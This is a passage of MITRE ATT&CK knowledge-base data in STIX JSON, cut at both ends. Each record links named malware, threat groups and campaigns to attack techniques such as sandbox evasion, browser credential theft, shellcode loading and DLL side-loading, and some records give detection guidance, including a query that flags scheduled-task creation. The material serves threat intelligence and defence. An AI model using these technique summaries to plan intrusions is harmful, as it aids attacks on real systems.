"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Netstat", "description": "Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb490947.aspx"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[netstat](https://attack.mitre.org/software/S0104) can be used to enumerate local network connections, including active TCP connections and other network statistics.(Citation: TechNet Netstat)", "relationship_type": "uses", "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--281eabd3-1965-4b62-8862-1edb15d49701", "type": "relationship", "created": "2019-06-06T23:45:59.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/", "source_name": "TrendMicro Ursnif File Dec 2014"}], "modified": "2020-03-16T18:33:43.772Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a 30 minute delay after execution to evade sandbox monitoring tools.(Citation: TrendMicro Ursnif File Dec 2014)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28291398-1281-404e-9603-8aae5a5a9919", "type": "relationship", "created": "2021-01-25T13:58:25.190Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:53.137Z", "description": "One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--282ef918-f550-4fb1-8ee9-949b640ef461", "created": "2023-08-11T21:26:33.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:26:38.121Z", "description": "Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows Task Scheduler to schedule a command to be run at a specified time, date, and even host. Task Scheduler stores tasks as files in two locations - C:\\Windows\\Tasks (legacy) or C:\\Windows\\System32\\Tasks. Accordingly, this analytic looks for the creation of task files in these two locations.\n\nAnalytic 1 - Scheduled Task - File Creation\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"11\") (TargetFilename= \"C:\\\\Windows\\\\System32\\\\Tasks\\\\*\" OR TargetFilename  \"C:\\\\Windows\\\\Tasks\\\\*\")  AND\n Image!= \"C:\\\\WINDOWS\\\\system32\\\\svchost.exe\"</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--283ba525-5180-461a-989b-87fc2f896ed7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT KEYMARBLE Aug 2018", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}], "modified": "2020-03-20T02:14:26.689Z", "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--283ba7b1-cd3b-44e9-bfae-70023c53d446", "type": "relationship", "created": "2020-05-20T18:56:59.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Pirate Panda April 2020", "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z", "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."}], "modified": "2020-05-20T18:56:59.024Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has lured victims into executing malware via malicious e-mail attachments.(Citation: Anomali Pirate Panda April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Sowbug Nov 2017", "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"}], "modified": "2020-03-18T16:01:37.932Z", "description": "[Starloader](https://attack.mitre.org/software/S0188) decrypts and executes shellcode from a file called Stars.jps.(Citation: Symantec Sowbug Nov 2017)", "relationship_type": "uses", "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--283d89ff-a836-4c3e-a850-cfd055c32c03", "type": "relationship", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.837Z", "description": "Monitor for newly executed processes, such as setx.exe, that may abuse of the COR_PROFILER variable, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary COR_PROFILER May 2020", "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.", "url": "https://redcanary.com/blog/cor_profiler-for-persistence/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--283e242a-72d4-4b40-8905-888595c34919", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}], "modified": "2020-03-16T15:59:20.212Z", "description": "[BADNEWS](https://attack.mitre.org/software/S0128) typically loads its DLL file into a legitimate signed Java or VMware executable.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2840f96e-2bf5-412c-8aba-11ee0838b3bc", "created": "2024-03-13T21:22:16.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Security Mispadu Facebook Ads 2019", "description": "ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.", "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-13T21:22:28.432Z", "description": "[Mispadu](https://attack.mitre.org/software/S1122) has been installed via MSI installer.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)", "relationship_type": "uses", "source_ref": "malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--28427b29-2088-44f7-8acd-5df104dcb8ee", "created": "2022-09-19T18:28:28.638Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-19T18:28:28.638Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors deployed malware that used API calls, including `CreateProcessAsUser`.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2843712c-cf5a-45f0-9e08-444665e0d479", "type": "relationship", "created": "2020-11-13T18:52:29.026Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. 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Retrieved January 4, 2021."}], "modified": "2021-04-20T20:03:26.937Z", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can stop the MS SQL service at the end of the encryption process to release files locked by the service.(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28757531-79b3-4c51-8e6c-b9b317a06abd", "type": "relationship", "created": "2021-03-25T14:49:34.786Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:49:34.786Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--287b6305-0592-4843-a12b-57f96741a36e", "type": "relationship", "created": "2020-01-14T01:34:10.663Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-14T01:34:10.663Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--287bfc5a-6e17-4d3c-980b-1577338416ab", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Unit 42 Domain Shadowing 2022", "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has spread malware in target networks by copying modules to folders masquerading as removable devices.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-14T20:16:24.548Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--288d8f70-d2af-44f8-86c9-fb8c2cd5103f", "type": "relationship", "created": "2021-01-21T22:47:19.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec RAINDROP January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}], "modified": "2021-01-25T18:23:23.406Z", "description": "[Raindrop](https://attack.mitre.org/software/S0565) was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. 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(2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. 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Retrieved June 16, 2020."}], "modified": "2020-06-16T17:53:18.782Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has obfuscated .NET executables by inserting junk code.(Citation: ESET Gamaredon June 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28c56887-5dbb-4269-b783-8a7f8d4c9204", "type": "relationship", "created": "2021-03-19T13:19:57.067Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. 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Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.677Z", "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can retrieve payloads from the C2 server.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--3d57dcc4-be99-4613-9482-d5218f5ec13e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--28d36206-062f-42be-93a1-f9cf2910c3c4", "created": "2024-03-25T16:45:41.768Z", "revoked": false, "external_references": [{"source_name": "AcidRain JAGS 2022", "description": "Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. 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Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can use custom shellcode to map embedded DLLs into memory.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:38:23.474Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--28ec0a8d-1c74-4a73-a9bd-2b7445e70889", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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(2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2019-04-24T20:56:04.719Z", "description": "[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim\u2019s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2913137b-33ce-4488-a274-25fc9198d693", "created": "2022-10-13T20:55:44.871Z", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). 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Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T20:55:44.871Z", "description": "[SUGARDUMP](https://attack.mitre.org/software/S1042)'s scheduled task has been named `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` or `MicrosoftEdgeCrashRepoeterTaskMachineUA`, depending on the Windows OS version.(Citation: Mandiant UNC3890 Aug 2022) ", "relationship_type": "uses", "source_ref": "malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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(2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2020-03-16T19:50:03.320Z", "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of spreading to USB devices.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--291e3bfc-90e7-44ac-828c-8bbf7b36431c", "created": "2024-03-12T20:31:27.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. 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Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T21:00:36.208Z", "description": "[BUSHWALK](https://attack.mitre.org/software/S1118) can modify the `DSUserAgentCap.pm` Perl module on Ivanti Connect Secure VPNs and either activate or deactivate depending on the value of the user agent in incoming HTTP requests.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--29a0bb87-1162-4c83-9834-2a98a876051b", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--291e908e-1d2e-4b29-a564-5a33149d1dbb", "type": "relationship", "created": "2019-01-29T19:55:48.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. 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(2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-28T21:40:03.688Z", "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new service on the remote system.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--29284c62-45b2-4650-88ac-fea62ddcd829", "type": "relationship", "created": "2020-01-24T17:00:00.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T17:00:00.074Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", "description": "Minerva Labs LTD and ClearSky Cyber Security. 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Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.707Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can browse directories on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 